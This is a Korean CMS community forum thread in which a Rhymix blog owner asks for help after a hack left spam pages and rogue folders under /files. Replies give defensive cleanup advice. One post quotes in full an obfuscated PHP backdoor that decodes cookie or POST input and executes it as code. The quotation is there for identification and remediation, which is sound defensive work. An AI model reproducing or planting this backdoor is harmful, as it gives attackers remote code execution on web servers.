Extra Form
PHP PHP 7.1
CMS Rhymix 2.x

1달 전쯤 구글서치콘솔에서 DCMA위반이라며 타인의 저작권을 침해한 컨텐츠가 있어 삭제중이라는 메일을 받고 해당 url을 확인해보니

 

https://ljhlab.com/files/sanjay-mehrotra-bwrw/796644-ooze-cbd-oil

이런 형식이었습니다.

files 안에 알수없는 형식의 이름을 가진 폴더들이 만들어져 있었으며 그 안에는 cache 폴더와 index.php 파일만 들어 있습니다.

index파일을 다운받아 열어보려하니 아니나 다를까 바로 바이러스 프로그램이 작동합니다.

 

해킹을 당한 것인지 문제되는 파일들을 삭제하고 ftp 비밀번호도 변경하였습니다.

 

최근 홈페이지 방문 현황을 분석해보기 위해 구글서치콘솔을 확인해보니 아~ 

 

Untitled-1 copy.jpg

 

이런상황입니다. ㅠㅠ

ftp확인해보니 cache폴더와 index.php만 들어있는 알수없는 폴더들이 많이 만들어져 있습니다.

 

 

 

Untitled-2 copy.jpg

 

이건 어떻게 판단해야 하는 것인지?

files폴더를 날리면 안될것 같은데 유효한 폴더는 어떤 것들일까요?

또 삭제하고 ftp 비번도 바꾸고 해야할까요?

 

저 혼자만 올리는 블로그 형식의 홈페이지 입니다.

이런 문제는 어떻게 관리해야 하는지 고수님들의 조언 부탁드립니다.

 

  • profile

     ssh정보를 수정먼저 하시고, attach, cache, config, debug, env, faceOff, member_extra_info,ruleset,site_design, thumbnails 제외한 index.php 파일과 폴더를 지우시기 바랍니다.

  • profile profile
    알겠습니다. 감사합니다~
  • profile
    attach, config 등 정상적인 폴더라도 그 아래에 서브폴더를 만들고 악성코드를 숨겨놓았을 수 있으니 최근에 생성된 php 파일은 모두 확인해 볼 필요가 있습니다.

    FTP 비번은 당연히 바꾸셔야겠고요. files 폴더가 공격에 노출되었다면 config 폴더에 저장되어 있는 DB 비번도 알려졌을 수 있으니, 만약 호스팅 업체에서 DB 비번 변경을 허용한다면 그것도 바꾸세요.
  • profile profile
    말씀해주신대로 확인해봐야 겠습니다. 감사합니다~
  • profile profile

    파일삭제가 되질 않아 호스팅 업체에 요청해 삭제하고 ftp, db 패스워드 모두 변경했는데 오늘 또 올라왔습니다.

    files의 파일들의 디폴트 상태를 비교해볼 수 있는게 없으니 어려움이 있습니다.
    파일명이 의심스러운 것을 열어보니 아래와 같은 코드로 되어 있는데 혹시 해킹파일일까요?

    <?php
    $umcblcw = 'c5*m-rni#3xt\'b74uHsg2o09yl1_ek8fadpv';$vkhuxcm = Array();$vkhuxcm[] = $umcblcw[0].$umcblcw[31].$umcblcw[28].$umcblcw[22].$umcblcw[23].$umcblcw[26].$umcblcw[30].$umcblcw[15].$umcblcw[4].$umcblcw[20].$umcblcw[32].$umcblcw[9].$umcblcw[1].$umcblcw[4].$umcblcw[15].$umcblcw[20].$umcblcw[9].$umcblcw[30].$umcblcw[4].$umcblcw[13].$umcblcw[30].$umcblcw[31].$umcblcw[9].$umcblcw[4].$umcblcw[33].$umcblcw[9].$umcblcw[33].$umcblcw[33].$umcblcw[22].$umcblcw[13].$umcblcw[23].$umcblcw[28].$umcblcw[14].$umcblcw[23].$umcblcw[15].$umcblcw[28];$vkhuxcm[] = $umcblcw[0].$umcblcw[5].$umcblcw[28].$umcblcw[32].$umcblcw[11].$umcblcw[28].$umcblcw[27].$umcblcw[31].$umcblcw[16].$umcblcw[6].$umcblcw[0].$umcblcw[11].$umcblcw[7].$umcblcw[21].$umcblcw[6];$vkhuxcm[] = $umcblcw[17].$umcblcw[2];$vkhuxcm[] = $umcblcw[8];$vkhuxcm[] = $umcblcw[0].$umcblcw[21].$umcblcw[16].$umcblcw[6].$umcblcw[11];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[27].$umcblcw[5].$umcblcw[28].$umcblcw[34].$umcblcw[28].$umcblcw[32].$umcblcw[11];$vkhuxcm[] = $umcblcw[28].$umcblcw[10].$umcblcw[34].$umcblcw[25].$umcblcw[21].$umcblcw[33].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[16].$umcblcw[13].$umcblcw[18].$umcblcw[11].$umcblcw[5];$vkhuxcm[] = $umcblcw[32].$umcblcw[5].$umcblcw[5].$umcblcw[32].$umcblcw[24].$umcblcw[27].$umcblcw[3].$umcblcw[28].$umcblcw[5].$umcblcw[19].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[25].$umcblcw[28].$umcblcw[6];$vkhuxcm[] = $umcblcw[34].$umcblcw[32].$umcblcw[0].$umcblcw[29];foreach ($vkhuxcm[8]($_COOKIE, $_POST) as $rfjzlcc => $pbtyx){function hdleb($vkhuxcm, $rfjzlcc, $bkbvee){return $vkhuxcm[7]($vkhuxcm[5]($rfjzlcc . $vkhuxcm[0], ($bkbvee / $vkhuxcm[9]($rfjzlcc)) + 1), 0, $bkbvee);}function yjkgibo($vkhuxcm, $ybkvtqa){return @$vkhuxcm[10]($vkhuxcm[2], $ybkvtqa);}function syaoxl($vkhuxcm, $ybkvtqa){$nguwceu = $vkhuxcm[4]($ybkvtqa) % 3;if (!$nguwceu) {$jcrkp = $vkhuxcm[1]; $lykzvqb = $jcrkp("", $ybkvtqa[1]($ybkvtqa[2]));$lykzvqb();exit();}}$pbtyx = yjkgibo($vkhuxcm, $pbtyx);syaoxl($vkhuxcm, $vkhuxcm[6]($vkhuxcm[3], $pbtyx ^ hdleb($vkhuxcm, $rfjzlcc, $vkhuxcm[9]($pbtyx))));}

  • profile profile

    네, 악성코드입니다. 정상적인 PHP 소스코드라면 사람이 알아볼 수 있는 단어가 압도적으로 많습니다.

     

    files 폴더의 내용은 애당초 XE나 라이믹스에서 배포하는 것이 아니라 사이트 운영 과정에서 생기는 것이기 때문에 디폴트 상태라고 할 만한 것이 따로 없어서 비교하기가 난감합니다. (XE나 라이믹스를 다운로드해 봐도 files 폴더는 포함되어 있지 않습니다.)

     

    위의 스샷을 봤을 때 files 내에서

    • attach: 이 안에 들어 있는 파일들 중 확장자가 php인 것은 모두 삭제해도 됩니다.
    • cache: 삭제해도 됩니다.
    • config: config.php 외에는 모두 삭제해도 됩니다. XE에서 사용하던 ftp.config.php 같은 파일에 FTP 접속정보가 그대로 남아 있는 경우도 있는데, 삭제해도 코어 작동에 아무 지장 없습니다.
    • debug: 삭제해도 됩니다.
    • env: 삭제해도 됩니다.
    • faceOff: 레이아웃 편집 기능을 사용하시는 경우, 수정한 파일이 여기에 저장됩니다. 삭제하실 경우 레이아웃 소스가 기본 상태로 초기화됩니다.
      • 레이아웃 소스를 수정하신 적이 없다고 확신하신다면 눈 딱 감고 날려버린 후 나중에 수습하는 것을 추천합니다.
      • 파일 수가 많지 않으니 직접 확인하셔도 되는데, 코어에서 사용하는 PHP 파일은 ko.cache.php 등 반드시 cache라는 단어가 파일명에 포함되어 있습니다.
    • member_extra_info: 여기가 좀 복잡한데요...
      • point, session_validity, experience, new_message_flags: 삭제해도 됩니다.
      • profile_image, image_mark, image_name: PHP 파일이 있다면 삭제하세요.
      • signature: 여기가 골때립니다. 회원들의 서명(자기소개)이 저장되어 있는데 모두 php 파일이고, 인코딩되어 있는 방식도 악성코드와 한 눈에 구분하기 힘듭니다. 그냥 다 날려버리고 회원들에게 서명 다시 작성하라고 하는 것을 추천합니다.
    • ruleset: 삭제해도 됩니다.
    • site_design: 삭제 후 사이트 디자인 설정(기본 레이아웃, 기본 게시판 스킨 등)을 다시 저장하는 편이 낫습니다.
    • thumbnails: 그냥 다 삭제해도 되고, PHP 파일만 찾아서 삭제해도 됩니다.
    • 위에서 언급하지 않은 폴더: 모두 삭제해도 됩니다.

    폴더 내에서 특정 확장자를 가진 파일들만 검색하거나, 특정 날짜에 생성된 파일들만 찾아내는 도구를 사용하실 수 있다면 큰 도움이 됩니다. 예를 들어 SSH 접속이 가능한 경우 attach 폴더 내에서 find . -name '*.php' 명령을 사용하면 해당 폴더 아래에 깊숙히 숨어 있는 PHP 파일도 모두 찾을 수 있습니다. (시간은 좀 걸립니다.)

     

    files 바깥(사이트 루트폴더)에 있는 파일들도 꼼꼼하게 살펴보시기 바랍니다. 워드프레스나 phpMyAdmin 등 흔히 사용하는 솔루션에 포함된 파일로 위장하는 경우가 있습니다. RXE라면 wp-config.php 이런 워드프레스스러운 파일은 필요가 없겠지요.

     

    모듈, 애드온, 위젯 등이 설치된 폴더들 중 쓰기 권한이 주어져 있는 것이 있다면 거기도 살펴봐야 합니다. 공격자가 index.php라는 파일명을 즐겨쓰는 것 같은데, XE/라이믹스용 모듈이나 애드온 등에서 index.php라는 파일명을 사용하는 일은 극히 드뭅니다. 루트 폴더에 있는 index.php 하나만으로 충분하니까요. 따라서 하위폴더 내에 index.php라는 파일이 있다면 무조건 의심해봐야 합니다. 검색 명령: find . -name index.php

     

    물론 다른 파일명을 사용했을 수도 있습니다. 두 차례 대량으로 악성코드가 생성된 시간대를 알고 계시다면 find 명령을 좀더 응용해서 해당 시간대에 생성된 파일들을 모두 검색해보는 방법도 있습니다.

     

    FTP 비번은 계속 바꾸세요. 확실하게 공격이 중단될 때까지 매일 바꾸시고, 파일질라 등 FTP 프로그램에 비번을 저장해 두지 마세요. (파일질라에서 비번만 빼내가는 악성코드도 있습니다.)

  • profile profile
    상세한 설명 감사합니다.
    전문 지식도 부족하고 처음 겪어보는 일이라 저도 당황스럽습니다.
    가장 어려운게 바로바로 삭제가 되지 않아 일일이 호스팅 업체에 요청을 해야하는건데요
    ftp에서도 putty에서도 권한 문제로 삭제가 되지 않아 이래저래 검색을 통해 시도해보지만 초보에겐 참 어렵습니다.
    조언해주신대로 하나씩 처리해보겠습니다.
    늘 감사합니다~
  • profile

    헐~ files 밑에 자기 홈페이지를 만들어 놨군요.

    debug cache thumbnails는 삭제해도 자동으로 새로 생성되니까 일단 삭제하는 것이 좋겠죠. 사실 attach와 config 이외에는 다 지워도 되더군요.

    attach에 혹시 *.php와 *.html이 있다면 찾아 지우는 것도 방법이겠습니다. config안에 config.php 파일도 열어봐서 이상한 것이 있는지 확인하셔야 할듯... (/common/defaults/config.php가 기본 샘플이라더군요).

  • profile profile
    삭제가 되지 않아 호스팅 업체에 삭제 요청하고 ftp, db 패스워드도 변경했는데 오늘 또 올라왔습니다.
    files 안의 파일의 디폴트 상태를 비교해볼 수 있는게 없다보니 더 어렵네요.
    동일 버전의 다른 홈페이지가 있어 비교해보고 있지만 어떻게 해킹이 된건지 파악하기가 쉽지 않네요.
    일단 날짜상으로 삭제중인데 벌써 수개월 전부터 이런 상황이었으니
  • profile profile

    계속 감염된다면, 아마 root 권한을 과거에 이미 탈취했을 것 같습니다. 그렇다면 다른 백도어를 이미 만들어 놨겠죠. 알지 못하는 프로세서가 돈다든지 모르는 등등... 솔직히 전문가가 아니면 이걸 찾아내는 것은 거의 불가능합니다.

    지금으로서는 시스템을 초기화(기본 os 이미지로 포맷)하는게 현실적이겠네요. 웹사이트도 라이믹스 기본 코어 다운받은 후, 설치했던 3rd party 레이아웃/애드온/모듈을 다시 붙여 클린하게 만들구요. /files/attach와 /files/config/config.php만 복사하구요 (어렵지 않습니다. 빨리하면 한시간이면 가능). DB에서 회원중 admin 권한 있는사람 있는지도 체크해봐야겠죠.

     

    즉, 지금 있는 것에서 뭘 삭제해서 정상화시키려 하기보다는, 백지 상태에서 정상인 것들을 붙여서 지금 있는 형태로 만드는...

  • profile profile
    그걸 생각 안해본건 아니지만 그만한 기술력을 갖추고 있다보니 쉽지가 않습니다. 특별한 기능이 필요하지 않은 홈페이지라 라이믹스 기본 코어 이외의 서드파티는 되도록 사용하지 않는데 상황을 봐가며 초기화를 고려해야 겠습니다. 감사합니다
  • profile

    인덱스파일이 있는 곳에 누군가 폴더를 생성했다면 이미 해킹한것이 아닌지....